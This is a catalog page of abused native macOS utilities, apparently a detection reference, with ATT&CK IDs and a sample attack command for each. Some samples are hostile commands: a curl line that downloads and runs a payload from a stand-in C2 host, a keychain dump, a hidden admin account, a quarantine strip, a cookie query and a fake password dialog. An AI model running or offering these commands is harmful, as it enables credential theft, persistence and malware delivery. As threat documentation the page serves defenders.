macOSPlatform Command Center19 Verified Binaries Documented

macOS Living-off-the-Orchard Binaries (LOOBins)

Native macOS utilities abused for Gatekeeper evasion, keychain credential harvesting, and launchd persistence.

macOS Endpoint Security Architecture

Ingest events from the Apple Endpoint Security Framework (ESF) for ES_EVENT_TYPE_AUTH_EXEC and ES_EVENT_TYPE_NOTIFY_EXEC. Audit changes to extended attributes (xattr stripping com.apple.quarantine) and modifications to LaunchAgent and LaunchDaemon plist files in /Library/LaunchDaemons.

Standard Binary Locations:/usr/bin/usr/sbin/System/Library/CoreServices/bin

macos Living-off-the-Land Catalog

19 verified utilities
2 documented tactics
T1059.002T1003

osascript

Osascript executes Open Scripting Architecture (OSA) scripts such as AppleScript and JavaScript for Automation (JXA). Widely used in macOS malware to display convincing phishing dialogs, harvest credentials, control System Events, and execute shell commands.

Sample Vector:
osascript -e 'display dialog "System Update requires your password to continue:" default answer "" with hidden answer with icon caution'
1 documented tactics
T1218

open

The open command opens files, directories, URLs, and applications as if you double-clicked them in Finder. Used to launch unsigned or quarantined applications and evade Gatekeeper or security software inspection.

Sample Vector:
open -a /Applications/Safari.app/Contents/MacOS/Safari http://phishing.site
1 documented tactics
T1105

curl

Curl is standard on macOS and frequently invoked in bash/zsh shell scripts by macOS stealers (e.g. Atomic macOS Stealer / AMOS) to fetch stage 2 Mach-O executables or exfiltrate keychain data.

Sample Vector:
curl -s -L -o /tmp/.stage2 https://c2.macos-stealer.com/loader && chmod +x /tmp/.stage2 && /tmp/.stage2
1 documented tactics
T1087T1548

dscl

Directory Service command-line utility (dscl) allows reading and writing Directory Service databases. Attackers use dscl for local user discovery, creating hidden administrator accounts, or extracting password hashes.

Sample Vector:
dscl . -create /Users/sysadmin UserShell /bin/zsh && dscl . -append /Groups/admin GroupMembership sysadmin
1 documented tactics
T1547.001

defaults

Defaults reads and writes macOS user defaults and plist configuration files. Attackers abuse it to write LoginHook scripts or alter ScreenSaver preferences to achieve reboot persistence.

Sample Vector:
defaults write com.apple.loginwindow LoginHook /Library/Scripts/update.sh
1 documented tactics
T1543.001T1543.004

plutil

Plutil checks and transforms property list (.plist) files. Attackers use plutil -insert to inject payload paths into LaunchAgent or LaunchDaemon plists for persistence.

Sample Vector:
plutil -insert ProgramArguments.0 -string "/bin/sh" ~/Library/LaunchAgents/com.apple.updater.plist
1 documented tactics
T1555.001

security

Security administers macOS Keychains, keys, certificates, and the Security framework. Attackers use it to dump user passwords, export certificates, or harvest plain-text credentials.

Sample Vector:
security dump-keychain -d login.keychain
1 documented tactics
T1543.001T1543.004

launchctl

Launchctl interfaces with launchd to manage daemons and user agents. Malware uses launchctl to immediately bootstrap and execute persistent services.

Sample Vector:
launchctl load -w ~/Library/LaunchAgents/com.persistence.plist
1 documented tactics
T1218

pkgutil

Pkgutil queries and extracts installer packages. Attackers use pkgutil --expand to decompress package payloads and extract scripts without triggering installation gatekeeper checks.

Sample Vector:
pkgutil --expand /tmp/installer.pkg /tmp/extracted_pkg
1 documented tactics
T1218T1059.004

installer

Installer runs system software installations. Attackers run installer from terminal with root privileges to deploy malicious package files silently without user prompts.

Sample Vector:
sudo installer -pkg /tmp/implant.pkg -target /
1 documented tactics
T1562.001

tccutil

Tccutil manages the Transparency, Consent, and Control (TCC) privacy database. Attackers reset permissions for applications to force prompt re-evaluation or test TCC bypasses.

Sample Vector:
tccutil reset All com.apple.Terminal
1 documented tactics
T1082

scutil

Scutil manages system configuration parameters. Attackers use it during discovery to retrieve the computer name, DNS servers, and network proxy configurations.

Sample Vector:
scutil --get ComputerName
1 documented tactics
T1556T1562.001

networksetup

Networksetup configures macOS network preferences. Attackers abuse it to configure rogue HTTP web proxies or reassign DNS servers to malicious resolvers.

Sample Vector:
networksetup -setwebproxy "Wi-Fi" 127.0.0.1 8080
1 documented tactics
T1539T1005

sqlite3

Sqlite3 queries SQLite databases. Attackers use it to query Chrome and Safari cookies, browsing history, and notes databases without launching browsers.

Sample Vector:
sqlite3 ~/Library/Application\ Support/Google/Chrome/Default/Cookies "SELECT host_key, name, encrypted_value FROM cookies"
1 documented tactics
T1560.001

ditto

Ditto copies directories while preserving extended attributes, HFS metadata, and resource forks. Attackers use it to archive sensitive folders prior to exfiltration.

Sample Vector:
ditto -c -k --sequesterRsrc /Users/victim/Documents /tmp/docs.zip
1 documented tactics
T1553.001

xattr

Xattr displays and modifies extended filesystem attributes. Attackers execute xattr -d com.apple.quarantine on downloaded malware to bypass Gatekeeper execution blocks.

Sample Vector:
xattr -d com.apple.quarantine /path/to/implant.app
1 documented tactics
T1005

log

Log queries the macOS Unified Logging System. Attackers interrogate system logs to find sensitive tokens, user activities, or cleartext credentials.

Sample Vector:
log show --predicate 'process == "sudo"' --info --last 1d
1 documented tactics
T1082

csrutil

Csrutil inspects and modifies System Integrity Protection (SIP) settings. Attackers check SIP status prior to attempting kernel extensions or rootkit loading.

Sample Vector:
csrutil status
1 documented tactics
T1218

hdiutil

Hdiutil manipulates macOS disk images (DMG). Attackers attach downloaded DMG images silently (-nobrowse) to access and execute stage-2 payloads without mounting icons on the desktop.

Sample Vector:
hdiutil attach /tmp/payload.dmg -nobrowse -mountpoint /Volumes/secret
Sharon Ben Moshe
Curated & Verified by
Sharon Ben Moshe
Cybersecurity Researcher & Detection EngineerCheck Point